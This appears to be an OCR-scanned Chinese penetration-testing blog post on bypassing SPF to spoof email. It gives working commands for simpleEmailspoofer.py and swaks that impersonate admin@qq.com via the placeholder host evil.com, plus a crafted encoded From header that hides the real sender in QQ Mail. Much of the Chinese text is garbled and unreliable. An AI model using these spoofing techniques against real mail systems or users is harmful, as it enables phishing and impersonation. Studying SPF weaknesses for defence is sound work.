SMTP(SimpleMail Transfer Protocol) Bl ERERAHEmIMMY , IEANRFRIIEZEVABE: | EHSLR— M MFERBAER
i, TESMHIAE , MERGANEFEEIE T URAESESHFREN | FIRX M LUNEERRGA.

SPF HMKIBR , EATEHLEEEmEREA. SPF, £FfA Sender Policy Framework , @—#FhLAIPHELFAIEER
FHMERIEABDEIRIAR., BMHRRABASENERABNSPHER | RBEREARNIPHILESHE STESPHER
B, NRE , AR —HIERREME | SUSIARE—SImERERME-FETIEE].,

AREEAD , ARG BEESPF , IEE T LMEENENMYS | BMFEEE TSPF , TEISENBRT | IR LASSSEniEHR
HRHEAN, SRATFHREE— ) BIRIFENSPRCRET , — X THiM4L 2RISR EHMITIRT .

nslookup -type=txt qq.com

MNEEEMBLHE  KEBERE

REAGISSPREN |, SesROnEHMEF ISR BiRaffERT. AEGSPFEER
Ui, BT —EEpERISE , DET

SHMISPFSEITRIRBRES |, IMFSIEFIKATE ~

1. SPFRtAALSHSHT
BISEEISPFERIEE A : v=spfl ip4:220.xxx.10.0/24 ~all ,

XESPRERIIEREUI R 220. xxx. 10. 1~220. xxx. 10.255 SEEIRMIP , a4 , &4 1P IBL , (BEARSEL
SRFEFETE.

XAFER N ENR2RE
—EIPRITX , ECREH , REREEE—aENAIER | BRARALUEREIERIPEATHMEIE,

— N RHIEE |, UERESRE | EUIRCALIRERM Y. WMRSPHERIRERS | HiaB XERMMHREREL
BRE | FDAWE B —EHUREEERATRDWSENG , MRAELAIRE.

SSPRCRIRERK-allRT , WTHATLARIL , outlookEBFERTLASMIERH: , QQERFEAENT , 163MRFEHRFRIC/ILLHR
.

EE—IRAIFERIEIR | MESPFEMCRECERIR | REZAHE RUHILISPrEITIEIR | tean
v=spfl ip4:113.110.223.0/24 183.110.226.0/24 183.110.255.0/24 59.110.132.0/24 -all
XENE—IR , MAEEFSPHER , IR ESPHCRER1ER

MRt - https://www.kitterman.com/spf/validate.html

Input accepted, querying now...
evaluating v=spf1 ip4:113.110.223.0/24 183.110.226.0/24 183.110.255.0/24 59.110.132.0/24 -all ...
|Result5 - PermError SPF Permanent Error: Missing IP4: 183.1 10.226.0/24|

| Return to SPF checking tool (clears form) | \

Use the back button on your browser to return to the SPF checking tool without clearing the form.

SPHCRIRIE , fEXRSPRERT , FAESMPER , BREFLN—RIpATIpv4 | XMSHTIEEHER, EAXME
iR, BSHEANSPHCRT RN , BASPFIRY | HRHEKITAISPRGIITHRE R T .


https://www.kitterman.com/spf/validate.html

b, SHNEEE—MEBSPHEREY | BHIARER—FFTCR | BER—MEMRERIRE | SPRCRECE
AEESPFENTIEIR | B2 SEAERZBH=—ERIMMF EIZRIER , MR REHEEEXRSPRCRER.

2, SPFECEAZSHEZRT

ERHARSS A EIERMSPFECERT , ESLRFERMSRA | BcEEEPIEIISPHER | FISFSPFINRERIBRMAARSS =5
RHIEER | ERIARGERC | Bt FELEMMIRS R STT SPF , XEFEA T LUGIERIA.

R4, FESPFECEIIRES , UEERAREFLSHSHY |, thin -
F—FER

EHAIEINT SPRER | (BREMAIRSS B ASHFSPHEESBMA MR ESPHEN |, FTEIUEERME IR, XFRERT |,
BAFRTBCRE (BN ERIENS2E , SPHENFER , aImEEERF REENRIEEZHRFEE.

BTHER
SPFERHTIEARIDNS |, HBAIRSZ SR B NERDNS , NEBDNSTTEF{TSPFRNT , NTISELLT , TN AMONE(E=A
P ARIERRE,
F=FENR

WEEEATIAN , ARSMTPIRS 2T EER MY AR E EEETUIRSERIPER , BiALUERERSREFAIEH
.

Eban , 24 mynetworks = 192.168.0.0/16 , TN , FE—ERinM I L BEEABISMTPIRSSES | (AET7T—H3K
B admin@qq. com BYBBIEALS,

python simpleEmailspoofer.py -t [BfR#BfE] -n QUEFEEIER -f admin@qq.com -j "ERHERE" -e
l.txt  -s [AREBHIRSSERIP]

MHERAT -
EE SEIEE (Cirl+E) L | sEmsE - £ 25 QefEsE Qs
=8 FiE EES- =Rl 2020-5-6 (B=) 17:52
3K QQEFFEETER <admin@qq.com>
QQUEFEEESR =R
EfEE 17:54 A i
Hello,worldlll =555
QOHEFEEER Hello, world!!!
B 1754
Hello,worldlll <£%F-
QQEFEEER
BREER 17:54
Hello,worldlll <5
QQHEFEEER
BEEEEE 17:54
Hello,worldlll <45%=
QQEEEER
=5 17:53

Hello,worldlll <4555

3. BHRARSE



X$TFExchangedFFEERSE , #8%5 Domain admin RRAIEAEF , AlEJoutlookEIFIEEAHA | IMEERAREAKIE
R, OREHMFRISN D EIR , B TEERESLIP,

MWHITAE : LB CRIKSHIRINT pomain admin AR,
{#5F8 outTook2013 EFURIEEARM ARG | BB ERERMEARIRT | (RSN,
{3 outlook2016 Z ML , BMHRWITTHIR M ARE R R XXLRXXX" , (&R,

am B | mm | aEkEr =8

EN-EEE o | ae 0.0 . W O ®
B [yl = E Ne Uy [ERERER v = e
TEGE e BEA R B Exmamy TSI GRS BREE
- @l - fE=EEA - 3~
B Sr=w R e 5 R 5
ST TSR,
BHEAM - | [t @i .COM
= A
(S HI=(C)..
=ZU)
: WEME TS
: EHEAR)...
+
+
+
+

FHE—ERIERMEONENES | (BEEIRFRENFFAK , SIRAE T pomain admin IR , PREEFEMMA-(0iEE ?

4, BMHEFIRABEITES

REEHE , KERDRIBIVHBFESPFECEARRIERAY , i L , ERWE—HMMHHTIEN , BABREAKIERHA
AYIP3tEREAIE ?

HAWER—SPHEZIGUN TR | SRE—TIVIISIE | FIBERAEZAIER SMTPIRSS 8§ (hiEadmin@qg.com
BB,

RzEHEHE - https:/www.kitterman.com/spf/validate.html

1. 7EIP address: BMINEEAR(SHIIPHELL , BIZASHE pithit,
2. SPF Record v=spfl...://-->:#iAnslookup&EHEHNSPFICHE
3. Mail From address : MINEELAESHNAKEA

Test an SPF record

This test is for evaluating the performance of your record based on different IP addresses that mail might come from (this is the IP address of the mail server). It can also be
used for syntax checking of records with more complex macros (although this has not been thoroughly tested yet). The %d macro is extracted from the supplied mail from
address. If an SPF record is supplied, it is used for the initial evaluation instead of any record published in DNS for the domain.
IP address: |120.36.251.149
SPF Record v=spf1__:/l—> lyv=spf1 include:spf mail. gg.com -all
Mail From address: admin@qqg.com

HELO/EHLO Address:/i-»
Test SPF Record Reset Form


mailto:admin@qq.com
https://www.kitterman.com/spf/validate.html

B Test SPF RecodiH#{TEGiIF :

Input accepted, querying now...

Mail sent from this IP address: 120.36.251.149

Mail from (Sender): admin@qq.com

Mail checked using this SPF palicy: v=spf1 include:spf.mail.qqg.com -all
Results - FAIL Message may be rejected

| Return to SPF checking tool (clears form) |

Use the back button on your browser to return to the SPF checking tool without clearing the form.

FEEREZToREA) |, SPRIGIERI | (MiGHRFEAALTD , IERIEMHSHIREL.
BYEEEMFLER BRI UREERFE , SenderfllFrom,

SenderFE , ARMIZEMFIISIIRAEE | BMHEKIT T ERIBMHEZHITSPHEN , BARBRES T REAKNIP
ik, From=Et , ARIBEMFRIEA | BMEMFRFETRIRHEAN | BRRINE.

ESPFECEBTRIBR T |, Sender/BIISPFGL , FrLARA AT LUK ENIEFERIERAARSS sRttbtl | AEXIFrom=ER
HATIHIE.

sEFEswaksffi— N HREEIRL,

sudo ./swaks --to 67*****28@qq.com --from admin@evil.com --h-From: '=?GB23127B?
UVHTYys/kudzA7dSx?= <admin@qq.com>' --ehlo evil.com --body hello --header "Subject: test"
Hrps¥y

--from  <SCfRAMEA | JIRiSender=Eg>
--h-From <#M4EREIREA |, SIRIFrom=EL>

QQURFEMITTHREEHMY . SenderflFrom=FERA—HRT , RHARUERRHadmin@evil.comfU&.

7 S | «mm ||| mm || mmem || wx || me || o || 2 | 5s || mex. - || ew -
o) ME

test
L Az QQEEEERESR <admin@agqg.com:

admin@evil.com &)

— ﬁzoiSE%;‘EE;ﬁ?it)g%S:z?
SiTaEE Aaron <67 ‘8@qq.com>
s
=iEE hello
B&=

{EFFoxmailE FinEER—HMME , SenderflFrom=zBRA—H , RERK | D9i&EmI.

HeeAg tast
v ZE(5E)
QOEREER 517 WFE?JH . :; 1
test & of - } 1 =
== - EiFA: QOEEREER <admindhgq.com>
test B A 67€0 528<h] 8l qg.cor
B8l 2020657178 (MH) 05:27

==
B i 2 KB

= 51T hello


mailto:admin@evil.com

Feli 193 BUE A I TTRRBRAERZS Fum B FEF TR —E3b e |, I LURI , RERBMEE i R GALENRE
T RA—HERY,

SRS THEF , AAOMERBRE W HBFERIESE | #RER(ERFoxmailZFim e | IXFLS T A IRThfoEhrAaeT
.

BTMRATLAREL © qqiffE. 163BREMTHRISSEA , OutlookdffEARER UL , BIRERMY iRt BIK
BT,

5. FromFEASHFHARST
LA VMERMRIEAIRHE , SenderfIFromFERA—HE , BBHRKS SRIXFERRIMHAR,

EEE <admin@gg.com>
(88 admin@test.com %)

BLBBEDERERPERIRGA | FEREMEHATE ?
ERES ERR—FER , RRETRM (CRTERMEGnEn—LBaeg) | BEERM.

TEFSMTPAIEEE FHRHERT , RIEABIR , B8N © From : RIEABIG<mpHEES , BIEREASNGFRIEFRAE

AUSIRFRT | (EHBFEE P inE ENE SCRIMMAS LRI , N RERFAINERT R ABI BRI IEHRTE,

DS RITE

1. EQQHFFETSEmail.emizZtF , MEREIEANENFRER.

2. ERERMHABNE | (HIEdMFSLFron=FE
From:=7gb23127B?udzA7dSxIDxhzGlpbkBxcS5jb20+0aGhoaGhoaGhoaGhoaGhoaGhoaGhoQ=="7=
=7gb23127B?0aGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGh?=
=?7gb23127B?0aGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGh?=
=?7gbh23127B?0aGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGh?=
=?7gb2312?B?0aGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGh?=

=7gb23127?B?0aGhoaGhoaGhoaGhoaGhoaGhoaGhoSAgICAGICAGICAGICAGICAGIKGkoaQ="7=
=7gbh23127B?0aQgICAgICAgICAgICAgGICAGIKGhICAgICAgIKGkoaShpA==?= <admin@test.com>

3. fiEF -dataSEUAIXHRA

sudo ./swaks --data mail.eml --to 67*****28@qq.com --from admin@test.com

4. BNkIEEBIRERE , QQEPFERIEMA ISR ZHIRUR |

il o 2
202054528 (28—) E59:27 _
Aaron <67L 22B@gg.com>

EE—FIRETHEY. B0EETE. FREEREE ISR RTIREER. ) SRONaN EEEE

Just for test



T - NIURIERE | BERIERE T QQIuIRAE | (BIXFIERERIEAERY , Efffuzz , BT LUSIERTRAIE
EEARAIX AR,

MNERRSEHAHNNARRS L, WESMARREHARRS —4EBXE— T3 , BRI,

ETF ARSI —LeE B  https://bbs.ichungiu.com/thread-55388-1-1.html

@ BRERYIZIBFIfRIE https://xz.aliyun.com/t/6325

SPFiCs : BRI, EEREESIAREN http://www.renfei.org/blog/introduction-to-spf.html

SPFMELABRRBBAEERIDUR AR F5 22 https://www.cnblogs.com/KevinGeorge/p/8950211.html

Swaks£yd SPFIEFTHB AR https:/www.cnblogs.com/backlion/p/10842676.htm

[ AR H-5 AR R BT BEFFAERYIE)A(SPF/DKIM/DMARC)

http://oddboy.cn/2019/%E5%8F%8D%ES%IE%83%ES5%IC%BEYEQ%82%AE%E4%BB%B6%E6%8A%80%E6%9
CHAF%ES%EF%EANES%EFUAFWNES%E3%BDUES%NAD %I8WNES%ICHASWNET7%IA%E4%EI%I7UAENEINA2%98-
SPE-DKIM-DMARC/



https://bbs.ichunqiu.com/thread-55388-1-1.html
https://xz.aliyun.com/t/6325
http://www.renfei.org/blog/introduction-to-spf.html
https://www.cnblogs.com/KevinGeorge/p/8950211.html
https://www.cnblogs.com/backlion/p/10842676.html
http://oddboy.cn/2019/%E5%8F%8D%E5%9E%83%E5%9C%BE%E9%82%AE%E4%BB%B6%E6%8A%80%E6%9C%AF%E5%8F%8A%E5%8F%AF%E8%83%BD%E5%AD%98%E5%9C%A8%E7%9A%84%E9%97%AE%E9%A2%98-SPF-DKIM-DMARC/

